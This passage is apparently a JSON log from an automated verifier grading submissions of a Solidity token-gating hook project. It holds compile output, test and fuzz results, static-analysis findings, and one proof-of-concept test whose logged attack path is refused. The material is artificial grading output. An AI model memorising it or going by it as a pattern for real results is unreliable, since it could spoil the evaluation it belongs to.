test_buysDuringTheWindowHourCountForTheNextDay() (gas: 1083602)\n[PASS] test_buysFarInTheFutureAreStillRecorded() (gas: 219887)\n[PASS] test_depositAfterVotingIsLockedTooAndAddsNoWeight() (gas: 628295)\n[PASS] test_depositAndWithdrawInsideAnUnlockAreAllowedAndChangeNoTally() (gas: 874040)\n[PASS] test_depositMoreThanBalanceReverts() (gas: 176494)\n[PASS] test_depositWithoutApprovalReverts() (gas: 126383)\n[PASS] test_depositsAndWithdrawalsAreNotBuysOrSells() (gas: 292020)\n[PASS] test_exactOutputSellOverTheAllowanceFailsInAfterSwapWithTheRealAmounts() (gas: 833594)\n[PASS] test_exactOutputSellsAccumulateAgainstTheAllowance() (gas: 957768)\n[PASS] test_hasVotedIsFalseForDaysWithoutAVoteAndForTheFuture() (gas: 405591)\n[PASS] test_hookDataCannotImpersonateTheLaunch() (gas: 344116)\n[PASS] test_hookNeverHoldsEthOrTokensBeyondStake() (gas: 938804)\n[PASS] test_hugeTurnoutWithoutMajorityFails() (gas: 829211)\n[PASS] test_liquidityCallbacksRevertForEveryone() (gas: 74545)\n[PASS] test_noVotesCannotPassEvenWithStake() (gas: 673302)\n[PASS] test_oneWeiMajorityWithQuorumPasses() (gas: 831498)\n[PASS] test_oneWeiSellIsAcceptedAndCounted() (gas: 818778)\n[PASS] test_partialFillChargesOnlyTheTokensActuallySold() (gas: 1017280)\n[PASS] test_partialWithdrawThenVoteWeighsTheRemainder() (gas: 430186)\n[PASS] test_requestedAmountIsCheckedUpFrontEvenIfTheFillWouldBeSmaller() (gas: 683802)\n[PASS] test_sameVoterVotesOnConsecutiveDays() (gas: 589438)\n[PASS] test_seededStaysTrueAfterTheLaunchRemovesEverything() (gas: 400217)\n[PASS] test_sellSettledByBurningClaimsIsGatedLikeAnyOther() (gas: 1018995)\n[PASS] test_strangerCannotSeedBeforeTheLaunchByFrontRunningTheInitializedPool() (gas: 24499461)\n[PASS] test_swapCallbacksOnAnUnboundHookRevertNotBound() (gas: 4099504)\n[PASS] test_turnoutExactlyAtQuorumPasses() (gas: 583430)\n[PASS] test_turnoutOneWeiBelowQuorumFails() (gas: 611330)\n[PASS] test_twoVotersTheSameDayAddUpAndAreBothLocked() (gas: 707238)\n[PASS] test_unspentAllowanceDoesNotRollOver() (gas: 865618)\n[PASS] test_voteAfterWithdrawingEverythingReverts() (gas: 277407)\n[PASS] test_voteAtExactlyTheDayBoundaryBelongsToTheNewDay() (gas: 395153)\n[PASS] test_voteCastDuringTheWindowCounts() (gas: 747337)\n[PASS] test_voteInTheLastSecondOfTheDayCountsForThatDayAndUnlocksNextSecond() (gas: 541941)\n[PASS] test_voteInsideAnUnlockIsRefusedEvenWithoutAFlashTake() (gas: 634754)\n[PASS] test_votePassedIsFalseForEmptyAndFutureDays() (gas: 31227)\n[PASS] test_windowsFollowEachDaysVoteIndependently() (gas: 1907691)\n[PASS] test_withdrawCannotTakeAnotherVotersStake() (gas: 235557)\n[PASS] test_withdrawWithNoStakeReverts() (gas: 36934)\n[PASS] test_zeroLiquidityAddFromAStrangerIsRefusedToo() (gas: 77287)\nSuite result: ok. 48 passed; 0 failed; 0 skipped; finished in 123.55ms (496.16ms CPU time)\n\nRan 2 tests for test/BuyGateHookInvariant.t.sol:BuyGateHookInvariantTest\n[PASS]\nBuyGateHookInvariantTest invariants:\n[PASS] invariant_eachStakeIsDepositsMinusWithdrawals\n[PASS] invariant_flashVotesLeaveNoTrace\n[PASS] invariant_hookHoldsExactlyTheStakes\n[PASS] invariant_hookTakesNothing\n[PASS] invariant_managerBalancesFollowTheSwaps\n[PASS] invariant_nothingSoldOnADayWhoseVoteDidNotPass\n[PASS] invariant_poolLiquidityIsOnlyTheLaunchSeed\n[PASS] invariant_recordsMatchTheGhostBooks\n[PASS] invariant_soldNeverExceedsHalfOfThePreviousDaysBuys\n[PASS] invariant_supplyIsConserved\n[PASS] invariant_windowAndRemainingAgreeWithTheTallies\n BuyGateHookInvariantTest invariants (runs: 128, calls: 7680, reverts: 0)\n\n╭----------------+------------------------+-------+---------+----------╮\n| Contract       | Selector               | Calls | Reverts | Discards |\n+======================================================================+\n| BuyGateHandler | addLiquidityAsStranger | 510   | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| BuyGateHandler | buy                    | 584   | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| BuyGateHandler | deposit                | 553   | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| BuyGateHandler | flashVote              | 554   | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| BuyGateHandler | park                   | 585   | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| BuyGateHandler | prepareWindow          | 563   | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| BuyGateHandler | sellExactIn            | 515   | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| BuyGateHandler | sellExactOut           | 558   | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| BuyGateHandler | unpark                 | 579   | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| BuyGateHandler | vote                   | 560   | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| BuyGateHandler | voteBig                | 513   | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| BuyGateHandler | warp                   | 510   | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| BuyGateHandler | warpToNextWindow       | 571   | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| BuyGateHandler | withdraw               | 525   | 0       | 0        |\n╰----------------+------------------------+-------+---------+----------╯\n\n[PASS] test_handlerReachesEveryPath() (gas: 3929280)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 8.50s (8.49s CPU time)\n\nRan 5 test suites in 8.51s (8.83s CPU time): 106 tests passed, 0 failed, 0 skipped (106 total tests)\n","passed":true},{"durationMs":111,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"BuyGateHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"BuyGateHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"BuyGateHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"BuyGateHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"BuyGateHook.deposit(uint256)\",\"BuyGateHook.vote(bool)\",\"BuyGateHook.withdraw(uint256)\",\"SurfToken.approve(address,uint256)\",\"SurfToken.transfer(address,uint256)\",\"SurfToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":5,\"README.md\":338,\"REVIEW.md\":160,\"foundry.toml\":22,\"remappings.txt\":5,\"script/Deploy.s.sol\":82,\"src/BuyGateHook.sol\":496,\"src/HookFlags.sol\":58,\"src/SurfToken.sol\":19,\"test/BuyGateHook.t.sol\":1120,\"test/BuyGateHookEdge.t.sol\":977,\"test/BuyGateHookInvariant.t.sol\":780,\"test/Deploy.t.sol\":44,\"test/SurfToken.t.sol\":64,\"test/mocks/MockERC20.sol\":11,\"test/mocks/MockLaunchFactory.sol\":51},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"cf8e442a7fb22a7dc3f0fb82ce039488190b5a50656965f44dd834d14474ccdb","verifiedTreeHash":"3a85b91a69320458b489de07ce9067a9bab134b8","verifierVersion":"0.1.0+61e9b7ca"},{"checks":[{"durationMs":2468,"exitCode":0,"name":"build","output":"Compiling 85 files with Solc 0.8.26\nSolc 0.8.26 finished in 2.35s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to view\n   --> src/BuyGateHook.sol:259:5:\n    |\n259 |     function beforeSwap(address, PoolKey calldata, SwapParams calldata params, bytes calldata)\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/BuyGateHook.sol:215:31\n    │\n215 │     function beforeInitialize(address sender, PoolKey calldata key, uint160) external onlyPoolManager returns (bytes4) {\n    │                               ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/BuyGateHook.sol:229:9\n    │\n229 │         emit PoolBound(id, Currency.unwrap(key.currency1), block.timestamp, sender);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/BuyGateHook.sol:250:13\n    │\n250 │             emit Seeded(sender);\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/BuyGateHook.sol:330:13\n    │\n330 │         if (block.timestamp < until) revert StakeLocked(until);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/BuyGateHook.sol:415:13\n    │\n415 │         if (block.timestamp >= dayStart(day) + SELL_WINDOW) return false;\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\n","passed":true},{"durationMs":148,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 6 tests for test/SurfToken.t.sol:SurfTokenTest\n[PASS] testFuzz_transferConservesSupply(address,uint256) (runs: 256, μ: 85217, ~: 85636)\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 29945)\n[PASS] test_metadata() (gas: 29131)\n[PASS] test_noMintOrAdminEntryPoints() (gas: 144957)\n[PASS] test_transferMoreThanBalanceReverts() (gas: 34357)\n[PASS] test_transferMovesExactAmount() (gas: 86501)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 3.01ms (3.44ms CPU time)\n\nRan 3 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deployPlacesTheHookOnAFlaggedAddress() (gas: 8053367)\n[PASS] test_differentManagerGivesADifferentAddress() (gas: 27986877)\n[PASS] test_minedSaltIsDeterministicForADeployer() (gas: 11987525)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 60.29ms (79.87ms CPU time)\n\nRan 48 tests for test/BuyGateHook.t.sol:BuyGateHookTest\n[PASS] testFuzz_buysAreAlwaysAllowedAndRecorded(uint256,uint256) (runs: 256, μ: 227837, ~: 228946)\n[PASS] testFuzz_depositsAreAlwaysRecoverable(uint256,bool) (runs: 256, μ: 351993, ~: 273742)\n[PASS] testFuzz_majorityAndQuorumDecideTheVote(uint256,uint256) (runs: 256, μ: 876548, ~: 877937)\n[PASS] testFuzz_sellsNeverExceedHalfOfYesterdaysBuys(uint256,uint256,uint256) (runs: 256, μ: 720077, ~: 773617)\n[PASS] testFuzz_sellsOutsideTheWindowAlwaysFail(uint256) (runs: 256, μ: 648109, ~: 648248)\n[PASS] testFuzz_thirdPartyPositionsAreAlwaysRefused(int24,int24,uint128) (runs: 256, μ: 193850, ~: 193603)\n[PASS] test_addressCarriesExactlyTheDeclaredFlags() (gas: 17114)\n[PASS] test_buyExactInPassesAndIsRecorded() (gas: 213684)\n[PASS] test_buyExactOutPassesAndIsRecorded() (gas: 202178)\n[PASS] test_buyWorksOnATokensOnlyPool() (gas: 17035015)\n[PASS] test_buysAccumulatePerDay() (gas: 529633)\n[PASS] test_buysDuringTheWindowDoNotRaiseTheWindowsAllowance() (gas: 818481)\n[PASS] test_callbacksRefuseCallersOtherThanThePoolManager() (gas: 121721)\n[PASS] test_constructorRefusesAnAddressWithoutTheFlags() (gas: 5844)\n[PASS] test_depositAndWithdrawWithoutVoting() (gas: 379043)\n[PASS] test_exactOutputSellIsCheckedAgainstTheAllowanceAfterTheSwap() (gas: 909533)\n[PASS] test_exactOutputSellRevertsWhenClosed() (gas: 244476)\n[PASS] test_firstPositionIsAcceptedFromAnyRouterOnlyOnce() (gas: 15512502)\n[PASS] test_hasVotedRemembersEveryDayAVoterVotedOn() (gas: 764265)\n[PASS] test_holderCannotExitThroughASingleSidedPositionWhileSellsAreClosed() (gas: 396644)\n[PASS] test_initializationBoundThePool() (gas: 65375)\n[PASS] test_initializationRefusesWrongFeeTickSpacingAndNonNativeQuote() (gas: 15911278)\n[PASS] test_launchCanRemoveAndReaddItsLiquidity() (gas: 237632)\n[PASS] test_launchSeedsSeveralPositionsInTheInitializationTransaction() (gas: 18050700)\n[PASS] test_passedVoteOpensSellsForOneHourAtHalfOfPreviousDaysBuys() (gas: 1132582)\n[PASS] test_passedVoteWithNoBuysOpensAnEmptyWindow() (gas: 515698)\n[PASS] test_poolManagerIsTheConstructorArgument() (gas: 7828)\n[PASS] test_quorumIsSnapshottedAtTheFirstVote() (gas: 983092)\n[PASS] test_runtimeCodeHasNoEscapeHatch() (gas: 3691352)\n[PASS] test_secondPoolIsRefused() (gas: 609043)\n[PASS] test_selfLiquidityWashCannotInflateBought() (gas: 410007)\n[PASS] test_sellLargerThanAllowanceIsRefusedUpFront() (gas: 651339)\n[PASS] test_sellRevertsOnDayZero() (gas: 244715)\n[PASS] test_sellRevertsWithoutAVote() (gas: 263793)\n[PASS] test_thirdPartyCannotAddLiquidityAfterTheSeed() (gas: 335168)\n[PASS] test_tieIsNotAMajority() (gas: 828897)\n[PASS] test_unboundHookRejectsGovernanceAndViews() (gas: 15290901)\n[PASS] test_unimplementedCallbacksRevertEvenForThePoolManager() (gas: 90391)\n[PASS] test_usersOfTheRouterThatInitializedThePoolAreRefusedAfterTheSeed() (gas: 17335606)\n[PASS] test_voteFailsBelowQuorum() (gas: 665605)\n[PASS] test_voteFailsWithoutMajority() (gas: 936789)\n[PASS] test_voteIsRefusedWhileTheManagerIsUnlocked() (gas: 1371534)\n[PASS] test_voteNeedsStake() (gas: 36894)\n[PASS] test_voteOncePerDayAndLockedUntilDayEnds() (gas: 547287)\n[PASS] test_voteWeightIsTheStakeAtVoteTime() (gas: 536489)\n[PASS] test_votesCanRepeatEveryDay() (gas: 1286486)\n[PASS] test_windowClosesAfterOneHour() (gas: 873220)\n[PASS] test_windowDoesNotCarryOverToTheNextDay() (gas: 651986)\nSuite result: ok. 48 passed; 0 failed; 0 skipped; finished in 60.41ms (363.41ms CPU time)\n\nRan 3 test suites in 61.17ms (123.72ms CPU time): 57 tests passed, 0 failed, 0 skipped (57 total tests)\n","passed":true},{"durationMs":49,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"BuyGateHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"BuyGateHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"BuyGateHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"BuyGateHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"BuyGateHook.deposit(uint256)\",\"BuyGateHook.vote(bool)\",\"BuyGateHook.withdraw(uint256)\",\"SurfToken.approve(address,uint256)\",\"SurfToken.transfer(address,uint256)\",\"SurfToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":5,\"README.md\":348,\"REVIEW.md\":182,\"foundry.toml\":22,\"remappings.txt\":5,\"script/Deploy.s.sol\":82,\"src/BuyGateHook.sol\":501,\"src/HookFlags.sol\":58,\"src/SurfToken.sol\":19,\"test/BuyGateHook.t.sol\":1195,\"test/Deploy.t.sol\":44,\"test/SurfToken.t.sol\":64,\"test/mocks/MockERC20.sol\":11,\"test/mocks/MockLaunchFactory.sol\":51},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":971,"exitCode":0,"name":"slither","output":"[medium/high] incorrect-equality at src/BuyGateHook.sol:406: BuyGateHook.sellAllowance(uint256) (src/BuyGateHook.sol#406-409) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BuyGateHook.sol:373: BuyGateHook.currentDay() (src/BuyGateHook.sol#373-376) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BuyGateHook.sol:318: BuyGateHook.deposit(uint256) (src/BuyGateHook.sol#318-324) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BuyGateHook.sol:379: BuyGateHook.dayStart(uint256) (src/BuyGateHook.sol#379-382) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BuyGateHook.sol:412: BuyGateHook.sellWindowOpen() (src/BuyGateHook.sol#412-417) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BuyGateHook.sol:393: BuyGateHook.circulatingSupply() (src/BuyGateHook.sol#393-396) uses a dangerous strict equality:\n[low/medium] missing-zero-check at src/BuyGateHook.sol:215: BuyGateHook.beforeInitialize(address,PoolKey,uint160).sender (src/BuyGateHook.sol#215) lacks a zero-check on :\n[low/medium] timestamp at src/BuyGateHook.sol:379: BuyGateHook.dayStart(uint256) (src/BuyGateHook.sol#379-382) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:241: BuyGateHook.beforeAddLiquidity(address,PoolKey,ModifyLiquidityParams,bytes) (src/BuyGateHook.sol#241-253) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:318: BuyGateHook.deposit(uint256) (src/BuyGateHook.sol#318-324) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:412: BuyGateHook.sellWindowOpen() (src/BuyGateHook.sol#412-417) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:327: BuyGateHook.withdraw(uint256) (src/BuyGateHook.sol#327-336) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:373: BuyGateHook.currentDay() (src/BuyGateHook.sol#373-376) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:280: BuyGateHook.afterSwap(address,PoolKey,SwapParams,BalanceDelta,bytes) (src/BuyGateHook.sol#280-309) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:215: BuyGateHook.beforeInitialize(address,PoolKey,uint160) (src/BuyGateHook.sol#215-232) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:406: BuyGateHook.sellAllowance(uint256) (src/BuyGateHook.sol#406-409) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:259: BuyGateHook.beforeSwap(address,PoolKey,SwapParams,bytes) (src/BuyGateHook.sol#259-275) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:393: BuyGateHook.circulatingSupply() (src/BuyGateHook.sol#393-396) uses timestamp for comparisons","passed":true},{"durationMs":340,"exitCode":0,"name":"aderyn","output":"[high] reentrancy-state-change at src/BuyGateHook.sol:350: Reentrancy: State change after external call\n[low] internal-function-used-once at src/HookFlags.sol:28: Internal Function Used Only Once (3 places)\n[low] large-numeric-literal at src/BuyGateHook.sol:71: Large Numeric Literal (2 places)\n[low] state-no-address-check at src/BuyGateHook.sol:225: Address State Variable Set Without Checks\n[low] unsafe-erc20-operation at src/BuyGateHook.sol:323: Unsafe ERC20 Operation (2 places)\n[low] unused-state-variable at src/BuyGateHook.sol:83: Unused State Variable","passed":true},{"durationMs":2096,"exitCode":0,"name":"proof d3f53da61d26","output":"Compiling 81 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.56s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to view\n   --> src/BuyGateHook.sol:259:5:\n    |\n259 |     function beforeSwap(address, PoolKey calldata, SwapParams calldata params, bytes calldata)\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n\nRan 1 test for test/imd-proof-7af57f13/Proof_d3f53da61d26.t.sol:SharedRouterGateTest\n[PASS] test_sharedRouterInitializerAdmitsEveryone() (gas: 776312)\nLogs:\n  alice add through launch router: refused\n  alice ETH gained: 0\n  alice SURF after: 1000000000000000000000\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.45ms (496.61µs CPU time)\n\nRan 1 test suite in 3.18ms (2.45ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"d11f82b2826dcab69c9e31a7daf440266078c283157c7c7d3a420fcd58a57b01","verifiedTreeHash":"76d525aa3454a54f0acb10e4cb0048d926c1f560","verifierVersion":"0.1.0+474349a3"},{"checks":[{"durationMs":2151,"exitCode":0,"name":"build","output":"Compiling 84 files with Solc 0.8.26\nSolc 0.8.26 finished in 2.02s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to view\n   --> src/BuyGateHook.sol:203:5:\n    |\n203 |     function beforeSwap(address, PoolKey calldata, SwapParams calldata params, bytes calldata)\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/BuyGateHook.sol:274:13\n    │\n274 │         if (block.timestamp < until) revert StakeLocked(until);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/BuyGateHook.sol:353:13\n    │\n353 │         if (block.timestamp >= dayStart(day) + SELL_WINDOW) return false;\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\n","passed":true},{"durationMs":152,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 6 tests for test/SurfToken.t.sol:SurfTokenTest\n[PASS] testFuzz_transferConservesSupply(address,uint256) (runs: 256, μ: 85369, ~: 85630)\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 29945)\n[PASS] test_metadata() (gas: 29131)\n[PASS] test_noMintOrAdminEntryPoints() (gas: 144957)\n[PASS] test_transferMoreThanBalanceReverts() (gas: 34357)\n[PASS] test_transferMovesExactAmount() (gas: 86501)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 2.77ms (3.23ms CPU time)\n\nRan 3 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deployPlacesTheHookOnAFlaggedAddress() (gas: 28216878)\n[PASS] test_differentManagerGivesADifferentAddress() (gas: 31848426)\n[PASS] test_minedSaltIsDeterministicForADeployer() (gas: 52485659)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 50.01ms (117.57ms CPU time)\n\nRan 38 tests for test/BuyGateHook.t.sol:BuyGateHookTest\n[PASS] testFuzz_buysAreAlwaysAllowedAndRecorded(uint256,uint256) (runs: 256, μ: 227730, ~: 228894)\n[PASS] testFuzz_depositsAreAlwaysRecoverable(uint256,bool) (runs: 256, μ: 359216, ~: 443358)\n[PASS] testFuzz_majorityAndQuorumDecideTheVote(uint256,uint256) (runs: 256, μ: 869630, ~: 868404)\n[PASS] testFuzz_sellsNeverExceedHalfOfYesterdaysBuys(uint256,uint256,uint256) (runs: 256, μ: 718583, ~: 770284)\n[PASS] testFuzz_sellsOutsideTheWindowAlwaysFail(uint256) (runs: 256, μ: 644775, ~: 644888)\n[PASS] test_addressCarriesExactlyTheDeclaredFlags() (gas: 17107)\n[PASS] test_buyExactInPassesAndIsRecorded() (gas: 213651)\n[PASS] test_buyExactOutPassesAndIsRecorded() (gas: 202078)\n[PASS] test_buyWorksOnATokensOnlyPool() (gas: 9540525)\n[PASS] test_buysAccumulatePerDay() (gas: 529445)\n[PASS] test_buysDuringTheWindowDoNotRaiseTheWindowsAllowance() (gas: 815024)\n[PASS] test_callbacksRefuseCallersOtherThanThePoolManager() (gas: 93654)\n[PASS] test_constructorRefusesAnAddressWithoutTheFlags() (gas: 5866)\n[PASS] test_depositAndWithdrawWithoutVoting() (gas: 379152)\n[PASS] test_exactOutputSellIsCheckedAgainstTheAllowanceAfterTheSwap() (gas: 906082)\n[PASS] test_exactOutputSellRevertsWhenClosed() (gas: 244429)\n[PASS] test_initializationBoundThePool() (gas: 50225)\n[PASS] test_initializationRefusesWrongFeeTickSpacingAndNonNativeQuote() (gas: 13125868)\n[PASS] test_passedVoteOpensSellsForOneHourAtHalfOfPreviousDaysBuys() (gas: 1129032)\n[PASS] test_passedVoteWithNoBuysOpensAnEmptyWindow() (gas: 512436)\n[PASS] test_poolManagerIsTheConstructorArgument() (gas: 7828)\n[PASS] test_quorumIsSnapshottedAtTheFirstVote() (gas: 976356)\n[PASS] test_runtimeCodeHasNoEscapeHatch() (gas: 3365567)\n[PASS] test_secondPoolIsRefused() (gas: 608969)\n[PASS] test_sellLargerThanAllowanceIsRefusedUpFront() (gas: 647985)\n[PASS] test_sellRevertsOnDayZero() (gas: 244690)\n[PASS] test_sellRevertsWithoutAVote() (gas: 263752)\n[PASS] test_tieIsNotAMajority() (gas: 822219)\n[PASS] test_unboundHookRejectsGovernanceAndViews() (gas: 12505598)\n[PASS] test_unimplementedCallbacksRevertEvenForThePoolManager() (gas: 90169)\n[PASS] test_voteFailsBelowQuorum() (gas: 662244)\n[PASS] test_voteFailsWithoutMajority() (gas: 930134)\n[PASS] test_voteNeedsStake() (gas: 36828)\n[PASS] test_voteOncePerDayAndLockedUntilDayEnds() (gas: 531605)\n[PASS] test_voteWeightIsTheStakeAtVoteTime() (gas: 533248)\n[PASS] test_votesCanRepeatEveryDay() (gas: 1262576)\n[PASS] test_windowClosesAfterOneHour() (gas: 869867)\n[PASS] test_windowDoesNotCarryOverToTheNextDay() (gas: 648616)\nSuite result: ok. 38 passed; 0 failed; 0 skipped; finished in 58.32ms (244.38ms CPU time)\n\nRan 3 test suites in 59.11ms (111.10ms CPU time): 47 tests passed, 0 failed, 0 skipped (47 total tests)\n","passed":true},{"durationMs":45,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"BuyGateHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"BuyGateHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"BuyGateHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"BuyGateHook.deposit(uint256)\",\"BuyGateHook.vote(bool)\",\"BuyGateHook.withdraw(uint256)\",\"SurfToken.approve(address,uint256)\",\"SurfToken.transfer(address,uint256)\",\"SurfToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":5,\"README.md\":270,\"REVIEW.md\":94,\"foundry.toml\":22,\"launch.json\":21,\"remappings.txt\":5,\"script/Deploy.s.sol\":81,\"src/BuyGateHook.sol\":440,\"src/HookFlags.sol\":58,\"src/SurfToken.sol\":19,\"test/BuyGateHook.t.sol\":796,\"test/Deploy.t.sol\":44,\"test/SurfToken.t.sol\":64,\"test/mocks/MockERC20.sol\":11},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"f9b582f5053e72edea5fe73c7362062dbfc0ab3e36691d049ec0b859856338af","verifiedTreeHash":"dbc6128bb02836269f203b01fe623da9a60a0f02","verifierVersion":"0.1.0+61e9b7ca"}]}